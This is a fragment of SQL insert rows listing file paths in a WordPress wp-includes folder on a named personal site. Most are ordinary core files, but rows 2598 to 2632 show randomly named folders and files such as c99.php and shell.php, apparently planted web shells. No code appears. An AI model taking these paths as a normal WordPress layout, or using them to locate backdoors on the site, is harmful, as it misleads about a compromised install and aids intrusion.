(2468,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Hooks.php','wp-includes/Requests/src/Hooks.php'),
(2469,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/IdnaEncoder.php','wp-includes/Requests/src/IdnaEncoder.php'),
(2470,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Ipv6.php','wp-includes/Requests/src/Ipv6.php'),
(2471,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Iri.php','wp-includes/Requests/src/Iri.php'),
(2472,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Port.php','wp-includes/Requests/src/Port.php'),
(2473,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Proxy/.htaccess','wp-includes/Requests/src/Proxy/.htaccess'),
(2474,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Proxy/Http.php','wp-includes/Requests/src/Proxy/Http.php'),
(2475,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Proxy.php','wp-includes/Requests/src/Proxy.php'),
(2476,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Requests.php','wp-includes/Requests/src/Requests.php'),
(2477,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Response/.htaccess','wp-includes/Requests/src/Response/.htaccess'),
(2478,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Response/Headers.php','wp-includes/Requests/src/Response/Headers.php'),
(2479,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Response.php','wp-includes/Requests/src/Response.php'),
(2480,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Session.php','wp-includes/Requests/src/Session.php'),
(2481,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Ssl.php','wp-includes/Requests/src/Ssl.php'),
(2482,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport/.htaccess','wp-includes/Requests/src/Transport/.htaccess'),
(2483,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport/Curl.php','wp-includes/Requests/src/Transport/Curl.php'),
(2484,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport/Fsockopen.php','wp-includes/Requests/src/Transport/Fsockopen.php'),
(2485,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Transport.php','wp-includes/Requests/src/Transport.php'),
(2486,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/.htaccess','wp-includes/Requests/src/Utility/.htaccess'),
(2487,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/CaseInsensitiveDictionary.php','wp-includes/Requests/src/Utility/CaseInsensitiveDictionary.php'),
(2488,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/FilteredIterator.php','wp-includes/Requests/src/Utility/FilteredIterator.php'),
(2489,'/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Utility/InputValidator.php','wp-includes/Requests/src/Utility/InputValidator.php'),
(2490,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/.htaccess','wp-includes/SimplePie/.htaccess'),
(2491,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/autoloader.php','wp-includes/SimplePie/autoloader.php'),
(2492,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/.htaccess','wp-includes/SimplePie/library/.htaccess'),
(2493,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/.htaccess','wp-includes/SimplePie/library/SimplePie/.htaccess'),
(2494,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Author.php','wp-includes/SimplePie/library/SimplePie/Author.php'),
(2495,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/.htaccess','wp-includes/SimplePie/library/SimplePie/Cache/.htaccess'),
(2496,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Base.php','wp-includes/SimplePie/library/SimplePie/Cache/Base.php'),
(2497,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/DB.php','wp-includes/SimplePie/library/SimplePie/Cache/DB.php'),
(2498,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/File.php','wp-includes/SimplePie/library/SimplePie/Cache/File.php'),
(2499,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Memcache.php','wp-includes/SimplePie/library/SimplePie/Cache/Memcache.php'),
(2500,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Memcached.php','wp-includes/SimplePie/library/SimplePie/Cache/Memcached.php'),
(2501,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/MySQL.php','wp-includes/SimplePie/library/SimplePie/Cache/MySQL.php'),
(2502,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/Redis.php','wp-includes/SimplePie/library/SimplePie/Cache/Redis.php'),
(2503,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache.php','wp-includes/SimplePie/library/SimplePie/Cache.php'),
(2504,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Caption.php','wp-includes/SimplePie/library/SimplePie/Caption.php'),
(2505,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Category.php','wp-includes/SimplePie/library/SimplePie/Category.php'),
(2506,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Content/.htaccess','wp-includes/SimplePie/library/SimplePie/Content/.htaccess'),
(2507,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Content/Type/.htaccess','wp-includes/SimplePie/library/SimplePie/Content/Type/.htaccess'),
(2508,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Content/Type/Sniffer.php','wp-includes/SimplePie/library/SimplePie/Content/Type/Sniffer.php'),
(2509,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Copyright.php','wp-includes/SimplePie/library/SimplePie/Copyright.php'),
(2510,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Core.php','wp-includes/SimplePie/library/SimplePie/Core.php'),
(2511,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Credit.php','wp-includes/SimplePie/library/SimplePie/Credit.php'),
(2512,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Decode/.htaccess','wp-includes/SimplePie/library/SimplePie/Decode/.htaccess'),
(2513,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Decode/HTML/.htaccess','wp-includes/SimplePie/library/SimplePie/Decode/HTML/.htaccess'),
(2514,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Decode/HTML/Entities.php','wp-includes/SimplePie/library/SimplePie/Decode/HTML/Entities.php'),
(2515,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Enclosure.php','wp-includes/SimplePie/library/SimplePie/Enclosure.php'),
(2516,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Exception.php','wp-includes/SimplePie/library/SimplePie/Exception.php'),
(2517,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/File.php','wp-includes/SimplePie/library/SimplePie/File.php'),
(2518,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/HTTP/.htaccess','wp-includes/SimplePie/library/SimplePie/HTTP/.htaccess'),
(2519,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/HTTP/Parser.php','wp-includes/SimplePie/library/SimplePie/HTTP/Parser.php'),
(2520,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/IRI.php','wp-includes/SimplePie/library/SimplePie/IRI.php'),
(2521,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Item.php','wp-includes/SimplePie/library/SimplePie/Item.php'),
(2522,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Locator.php','wp-includes/SimplePie/library/SimplePie/Locator.php'),
(2523,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Misc.php','wp-includes/SimplePie/library/SimplePie/Misc.php'),
(2524,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Net/.htaccess','wp-includes/SimplePie/library/SimplePie/Net/.htaccess'),
(2525,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Net/IPv6.php','wp-includes/SimplePie/library/SimplePie/Net/IPv6.php'),
(2526,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Parse/.htaccess','wp-includes/SimplePie/library/SimplePie/Parse/.htaccess'),
(2527,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Parse/Date.php','wp-includes/SimplePie/library/SimplePie/Parse/Date.php'),
(2528,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Parser.php','wp-includes/SimplePie/library/SimplePie/Parser.php'),
(2529,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Rating.php','wp-includes/SimplePie/library/SimplePie/Rating.php'),
(2530,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Registry.php','wp-includes/SimplePie/library/SimplePie/Registry.php'),
(2531,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Restriction.php','wp-includes/SimplePie/library/SimplePie/Restriction.php'),
(2532,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Sanitize.php','wp-includes/SimplePie/library/SimplePie/Sanitize.php'),
(2533,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Source.php','wp-includes/SimplePie/library/SimplePie/Source.php'),
(2534,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/XML/.htaccess','wp-includes/SimplePie/library/SimplePie/XML/.htaccess'),
(2535,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/XML/Declaration/.htaccess','wp-includes/SimplePie/library/SimplePie/XML/Declaration/.htaccess'),
(2536,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/XML/Declaration/Parser.php','wp-includes/SimplePie/library/SimplePie/XML/Declaration/Parser.php'),
(2537,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/gzdecode.php','wp-includes/SimplePie/library/SimplePie/gzdecode.php'),
(2538,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie.php','wp-includes/SimplePie/library/SimplePie.php'),
(2539,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/.htaccess','wp-includes/SimplePie/src/.htaccess'),
(2540,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Author.php','wp-includes/SimplePie/src/Author.php'),
(2541,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/.htaccess','wp-includes/SimplePie/src/Cache/.htaccess'),
(2542,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Base.php','wp-includes/SimplePie/src/Cache/Base.php'),
(2543,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/BaseDataCache.php','wp-includes/SimplePie/src/Cache/BaseDataCache.php'),
(2544,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/CallableNameFilter.php','wp-includes/SimplePie/src/Cache/CallableNameFilter.php'),
(2545,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/DB.php','wp-includes/SimplePie/src/Cache/DB.php'),
(2546,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/DataCache.php','wp-includes/SimplePie/src/Cache/DataCache.php'),
(2547,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/File.php','wp-includes/SimplePie/src/Cache/File.php'),
(2548,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Memcache.php','wp-includes/SimplePie/src/Cache/Memcache.php'),
(2549,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Memcached.php','wp-includes/SimplePie/src/Cache/Memcached.php'),
(2550,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/MySQL.php','wp-includes/SimplePie/src/Cache/MySQL.php'),
(2551,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/NameFilter.php','wp-includes/SimplePie/src/Cache/NameFilter.php'),
(2552,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Psr16.php','wp-includes/SimplePie/src/Cache/Psr16.php'),
(2553,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Redis.php','wp-includes/SimplePie/src/Cache/Redis.php'),
(2554,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache.php','wp-includes/SimplePie/src/Cache.php'),
(2555,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Caption.php','wp-includes/SimplePie/src/Caption.php'),
(2556,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Category.php','wp-includes/SimplePie/src/Category.php'),
(2557,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Content/.htaccess','wp-includes/SimplePie/src/Content/.htaccess'),
(2558,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Content/Type/.htaccess','wp-includes/SimplePie/src/Content/Type/.htaccess'),
(2559,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Content/Type/Sniffer.php','wp-includes/SimplePie/src/Content/Type/Sniffer.php'),
(2560,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Copyright.php','wp-includes/SimplePie/src/Copyright.php'),
(2561,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Credit.php','wp-includes/SimplePie/src/Credit.php'),
(2562,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Enclosure.php','wp-includes/SimplePie/src/Enclosure.php'),
(2563,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Exception.php','wp-includes/SimplePie/src/Exception.php'),
(2564,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/File.php','wp-includes/SimplePie/src/File.php'),
(2565,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Gzdecode.php','wp-includes/SimplePie/src/Gzdecode.php'),
(2566,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/.htaccess','wp-includes/SimplePie/src/HTTP/.htaccess'),
(2567,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Client.php','wp-includes/SimplePie/src/HTTP/Client.php'),
(2568,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/ClientException.php','wp-includes/SimplePie/src/HTTP/ClientException.php'),
(2569,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/FileClient.php','wp-includes/SimplePie/src/HTTP/FileClient.php'),
(2570,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Parser.php','wp-includes/SimplePie/src/HTTP/Parser.php'),
(2571,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Psr18Client.php','wp-includes/SimplePie/src/HTTP/Psr18Client.php'),
(2572,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Psr7Response.php','wp-includes/SimplePie/src/HTTP/Psr7Response.php'),
(2573,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/RawTextResponse.php','wp-includes/SimplePie/src/HTTP/RawTextResponse.php'),
(2574,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Response.php','wp-includes/SimplePie/src/HTTP/Response.php'),
(2575,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/IRI.php','wp-includes/SimplePie/src/IRI.php'),
(2576,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Item.php','wp-includes/SimplePie/src/Item.php'),
(2577,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Locator.php','wp-includes/SimplePie/src/Locator.php'),
(2578,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Misc.php','wp-includes/SimplePie/src/Misc.php'),
(2579,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Net/.htaccess','wp-includes/SimplePie/src/Net/.htaccess'),
(2580,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Net/IPv6.php','wp-includes/SimplePie/src/Net/IPv6.php'),
(2581,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Parse/.htaccess','wp-includes/SimplePie/src/Parse/.htaccess'),
(2582,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Parse/Date.php','wp-includes/SimplePie/src/Parse/Date.php'),
(2583,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Parser.php','wp-includes/SimplePie/src/Parser.php'),
(2584,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Rating.php','wp-includes/SimplePie/src/Rating.php'),
(2585,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Registry.php','wp-includes/SimplePie/src/Registry.php'),
(2586,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/RegistryAware.php','wp-includes/SimplePie/src/RegistryAware.php'),
(2587,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Restriction.php','wp-includes/SimplePie/src/Restriction.php'),
(2588,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Sanitize.php','wp-includes/SimplePie/src/Sanitize.php'),
(2589,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/SimplePie.php','wp-includes/SimplePie/src/SimplePie.php'),
(2590,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Source.php','wp-includes/SimplePie/src/Source.php'),
(2591,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/XML/.htaccess','wp-includes/SimplePie/src/XML/.htaccess'),
(2592,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/XML/Declaration/.htaccess','wp-includes/SimplePie/src/XML/Declaration/.htaccess'),
(2593,'/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/XML/Declaration/Parser.php','wp-includes/SimplePie/src/XML/Declaration/Parser.php'),
(2594,'/home/trevorkl/trevorklee.com/wp-includes/Text/.htaccess','wp-includes/Text/.htaccess'),
(2595,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/.htaccess','wp-includes/Text/Diff/.htaccess'),
(2596,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/.htaccess','wp-includes/Text/Diff/Engine/.htaccess'),
(2597,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/native.php','wp-includes/Text/Diff/Engine/native.php'),
(2598,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/osnqrqorporop.ttf','wp-includes/Text/Diff/Engine/osnqrqorporop.ttf'),
(2599,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/shell.php','wp-includes/Text/Diff/Engine/shell.php'),
(2600,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/string.php','wp-includes/Text/Diff/Engine/string.php'),
(2601,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Engine/xdiff.php','wp-includes/Text/Diff/Engine/xdiff.php'),
(2602,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Renderer/.htaccess','wp-includes/Text/Diff/Renderer/.htaccess'),
(2603,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Renderer/inline.php','wp-includes/Text/Diff/Renderer/inline.php'),
(2604,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff/Renderer.php','wp-includes/Text/Diff/Renderer.php'),
(2605,'/home/trevorkl/trevorklee.com/wp-includes/Text/Diff.php','wp-includes/Text/Diff.php'),
(2606,'/home/trevorkl/trevorklee.com/wp-includes/Text/Exception.php','wp-includes/Text/Exception.php'),
(2607,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/.htaccess','wp-includes/Text/elbyraq/1qafueo/.htaccess'),
(2608,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/index.html','wp-includes/Text/elbyraq/1qafueo/index.html'),
(2609,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/index.php','wp-includes/Text/elbyraq/1qafueo/index.php'),
(2610,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.php'),
(2611,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.update.php','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/83yqso2y.update.php'),
(2612,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/ORVX-Qt6TYY.php'),
(2613,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/c99.php','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/c99.php'),
(2614,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/error_log','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/error_log'),
(2615,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/index.php','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/index.php'),
(2616,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/npu5izri.php','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/npu5izri.php'),
(2617,'/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/vlkr1cf/php.ini','wp-includes/Text/elbyraq/1qafueo/vlkr1cf/php.ini'),
(2618,'/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/index.html','wp-includes/Text/icatnpe/index.html'),
(2619,'/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/.htaccess','wp-includes/Text/icatnpe/yrpuihc/.htaccess'),
(2620,'/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/index.html','wp-includes/Text/icatnpe/yrpuihc/index.html'),
(2621,'/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/yjqepgf/index.php','wp-includes/Text/icatnpe/yrpuihc/yjqepgf/index.php'),
(2622,'/home/trevorkl/trevorklee.com/wp-includes/Text/icatnpe/yrpuihc/yjqepgf/php.ini','wp-includes/Text/icatnpe/yrpuihc/yjqepgf/php.ini'),
(2623,'/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/.htaccess','wp-includes/Text/udewhxn/krxqwmf/.htaccess'),
(2624,'/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/index.html','wp-includes/Text/udewhxn/krxqwmf/index.html'),
(2625,'/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/umvqkrn/index.php','wp-includes/Text/udewhxn/krxqwmf/umvqkrn/index.php'),
(2626,'/home/trevorkl/trevorklee.com/wp-includes/Text/udewhxn/krxqwmf/umvqkrn/php.ini','wp-includes/Text/udewhxn/krxqwmf/umvqkrn/php.ini'),
(2627,'/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/.htaccess','wp-includes/Text/yk1mjid/wgocz1i/.htaccess'),
(2628,'/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/index.html','wp-includes/Text/yk1mjid/wgocz1i/index.html'),
(2629,'/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/index.php','wp-includes/Text/yk1mjid/wgocz1i/index.php'),
(2630,'/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php','wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/index.php'),
(2631,'/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/php.ini','wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/php.ini'),
(2632,'/home/trevorkl/trevorklee.com/wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/t.php','wp-includes/Text/yk1mjid/wgocz1i/vydqnsb/t.php'),
(2633,'/home/trevorkl/trevorklee.com/wp-includes/abilities-api/.htaccess','wp-includes/abilities-api/.htaccess'),
(2634,'/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-abilities-registry.php','wp-includes/abilities-api/class-wp-abilities-registry.php'),
(2635,'/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-ability-categories-registry.php','wp-includes/abilities-api/class-wp-ability-categories-registry.php'),
(2636,'/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-ability-category.php','wp-includes/abilities-api/class-wp-ability-category.php'),
(2637,'/home/trevorkl/trevorklee.com/wp-includes/abilities-api/class-wp-ability.php','wp-includes/abilities-api/class-wp-ability.php'),
(2638,'/home/trevorkl/trevorklee.com/wp-includes/abilities-api.php','wp-includes/abilities-api.php'),
(2639,'/home/trevorkl/trevorklee.com/wp-includes/abilities.php','wp-includes/abilities.php'),
(2640,'/home/trevorkl/trevorklee.com/wp-includes/admin-bar.php','wp-includes/admin-bar.php'),
(2641,'/home/trevorkl/trevorklee.com/wp-includes/assets/.htaccess','wp-includes/assets/.htaccess'),
(2642,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-packages.min.php','wp-includes/assets/script-loader-packages.min.php'),
(2643,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-packages.php','wp-includes/assets/script-loader-packages.php'),
(2644,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-entry.min.php','wp-includes/assets/script-loader-react-refresh-entry.min.php'),
(2645,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-entry.php','wp-includes/assets/script-loader-react-refresh-entry.php'),
(2646,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-runtime.min.php','wp-includes/assets/script-loader-react-refresh-runtime.min.php'),
(2647,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-loader-react-refresh-runtime.php','wp-includes/assets/script-loader-react-refresh-runtime.php'),
(2648,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-modules-packages.min.php','wp-includes/assets/script-modules-packages.min.php'),
(2649,'/home/trevorkl/trevorklee.com/wp-includes/assets/script-modules-packages.php','wp-includes/assets/script-modules-packages.php'),
(2650,'/home/trevorkl/trevorklee.com/wp-includes/atomlib.php','wp-includes/atomlib.php'),
(2651,'/home/trevorkl/trevorklee.com/wp-includes/author-template.php','wp-includes/author-template.php'),
(2652,'/home/trevorkl/trevorklee.com/wp-includes/block-bindings/.htaccess','wp-includes/block-bindings/.htaccess'),
(2653,'/home/trevorkl/trevorklee.com/wp-includes/block-bindings/pattern-overrides.php','wp-includes/block-bindings/pattern-overrides.php'),
(2654,'/home/trevorkl/trevorklee.com/wp-includes/block-bindings/post-data.php','wp-includes/block-bindings/post-data.php'),
(2655,'/home/trevorkl/trevorklee.com/wp-includes/block-bindings/post-meta.php','wp-includes/block-bindings/post-meta.php'),
(2656,'/home/trevorkl/trevorklee.com/wp-includes/block-bindings/term-data.php','wp-includes/block-bindings/term-data.php'),
(2657,'/home/trevorkl/trevorklee.com/wp-includes/block-bindings.php','wp-includes/block-bindings.php'),
(2658,'/home/trevorkl/trevorklee.com/wp-includes/block-editor.php','wp-includes/block-editor.php'),
(2659,'/home/trevorkl/trevorklee.com/wp-includes/block-i18n.json','wp-includes/block-i18n.json'),
(2660,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/.htaccess','wp-includes/block-patterns/.htaccess'),
(2661,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-accent-bg.php','wp-includes/block-patterns/navigation-overlay-accent-bg.php'),
(2662,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-black-bg.php','wp-includes/block-patterns/navigation-overlay-black-bg.php'),
(2663,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-centered-with-extras.php','wp-includes/block-patterns/navigation-overlay-centered-with-extras.php'),
(2664,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-centered.php','wp-includes/block-patterns/navigation-overlay-centered.php'),
(2665,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay.php','wp-includes/block-patterns/navigation-overlay.php'),
(2666,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-grid-posts.php','wp-includes/block-patterns/query-grid-posts.php'),
(2667,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-large-title-posts.php','wp-includes/block-patterns/query-large-title-posts.php'),
(2668,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-medium-posts.php','wp-includes/block-patterns/query-medium-posts.php'),
(2669,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-offset-posts.php','wp-includes/block-patterns/query-offset-posts.php'),
(2670,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-small-posts.php','wp-includes/block-patterns/query-small-posts.php'),
(2671,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-standard-posts.php','wp-includes/block-patterns/query-standard-posts.php'),
(2672,'/home/trevorkl/trevorklee.com/wp-includes/block-patterns/social-links-shared-background-color.php','wp-includes/block-patterns/social-links-shared-background-color.php'),
